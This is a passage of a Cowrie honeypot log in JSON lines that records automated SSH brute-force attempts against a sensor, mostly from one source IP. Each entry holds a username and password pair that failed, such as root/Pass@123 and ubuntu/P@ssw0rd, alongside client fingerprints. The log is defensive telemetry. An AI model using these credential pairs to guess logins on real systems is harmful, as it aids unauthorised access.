0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:01.522410Z","src_ip":"43.134.24.11","session":"0c211d17db75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:02.264399Z","src_ip":"43.134.24.11","session":"0c211d17db75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:03.515126Z","src_ip":"43.134.24.11","session":"0c211d17db75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23314,"dst_ip":"10.17.0.5","dst_port":22,"session":"05b39c36c98d","protocol":"ssh","message":"New connection: 43.134.24.11:23314 (10.17.0.5:22) [session: 05b39c36c98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:07.160737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:07.164882Z","src_ip":"43.134.24.11","session":"05b39c36c98d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:07.404426Z","src_ip":"43.134.24.11","session":"05b39c36c98d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:08.117954Z","src_ip":"43.134.24.11","session":"05b39c36c98d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:09.358365Z","src_ip":"43.134.24.11","session":"05b39c36c98d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39406,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7e24d3d97e","protocol":"ssh","message":"New connection: 43.134.24.11:39406 (10.17.0.5:22) [session: fe7e24d3d97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:12.849380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:12.854509Z","src_ip":"43.134.24.11","session":"fe7e24d3d97e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:13.092178Z","src_ip":"43.134.24.11","session":"fe7e24d3d97e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:13.804212Z","src_ip":"43.134.24.11","session":"fe7e24d3d97e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:15.044643Z","src_ip":"43.134.24.11","session":"fe7e24d3d97e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":7293,"dst_ip":"10.17.0.5","dst_port":22,"session":"f96b62869459","protocol":"ssh","message":"New connection: 43.134.24.11:7293 (10.17.0.5:22) [session: f96b62869459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:18.704608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:18.709411Z","src_ip":"43.134.24.11","session":"f96b62869459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:18.958401Z","src_ip":"43.134.24.11","session":"f96b62869459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:19.698102Z","src_ip":"43.134.24.11","session":"f96b62869459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:20.947413Z","src_ip":"43.134.24.11","session":"f96b62869459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":54883,"dst_ip":"10.17.0.5","dst_port":22,"session":"b43ad8327198","protocol":"ssh","message":"New connection: 43.134.24.11:54883 (10.17.0.5:22) [session: b43ad8327198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:24.432712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:24.437004Z","src_ip":"43.134.24.11","session":"b43ad8327198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:24.683878Z","src_ip":"43.134.24.11","session":"b43ad8327198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:25.428063Z","src_ip":"43.134.24.11","session":"b43ad8327198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:26.723933Z","src_ip":"43.134.24.11","session":"b43ad8327198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":54884,"dst_ip":"10.17.0.5","dst_port":22,"session":"c15363db6127","protocol":"ssh","message":"New connection: 43.134.24.11:54884 (10.17.0.5:22) [session: c15363db6127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:30.062026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:30.099320Z","src_ip":"43.134.24.11","session":"c15363db6127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:30.311644Z","src_ip":"43.134.24.11","session":"c15363db6127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:31.285944Z","src_ip":"43.134.24.11","session":"c15363db6127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:32.533804Z","src_ip":"43.134.24.11","session":"c15363db6127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23315,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd752ee3ac9","protocol":"ssh","message":"New connection: 43.134.24.11:23315 (10.17.0.5:22) [session: ccd752ee3ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:35.871531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:35.876569Z","src_ip":"43.134.24.11","session":"ccd752ee3ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:36.114473Z","src_ip":"43.134.24.11","session":"ccd752ee3ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:36.838888Z","src_ip":"43.134.24.11","session":"ccd752ee3ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:38.079390Z","src_ip":"43.134.24.11","session":"ccd752ee3ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39407,"dst_ip":"10.17.0.5","dst_port":22,"session":"e89c0f3b43df","protocol":"ssh","message":"New connection: 43.134.24.11:39407 (10.17.0.5:22) [session: e89c0f3b43df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:41.628675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:41.633652Z","src_ip":"43.134.24.11","session":"e89c0f3b43df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:41.875034Z","src_ip":"43.134.24.11","session":"e89c0f3b43df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:42.590041Z","src_ip":"43.134.24.11","session":"e89c0f3b43df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f30fa0521e","protocol":"ssh","message":"New connection: 109.172.54.111:40630 (10.17.0.5:22) [session: 51f30fa0521e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:42.977861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:42.982870Z","src_ip":"109.172.54.111","session":"51f30fa0521e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:43.090207Z","src_ip":"109.172.54.111","session":"51f30fa0521e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kostya93","message":"login attempt [root/kostya93] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:43.375818Z","src_ip":"109.172.54.111","session":"51f30fa0521e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:43.831177Z","src_ip":"43.134.24.11","session":"e89c0f3b43df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:44.473001Z","src_ip":"109.172.54.111","session":"51f30fa0521e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":41458,"dst_ip":"10.17.0.5","dst_port":23,"session":"e933f4abc3c1","protocol":"telnet","message":"New connection: 23.94.28.189:41458 (10.17.0.5:23) [session: e933f4abc3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:45.552308Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":27912,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ac22e131e3","protocol":"ssh","message":"New connection: 43.134.24.11:27912 (10.17.0.5:22) [session: 79ac22e131e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:47.438641Z"}
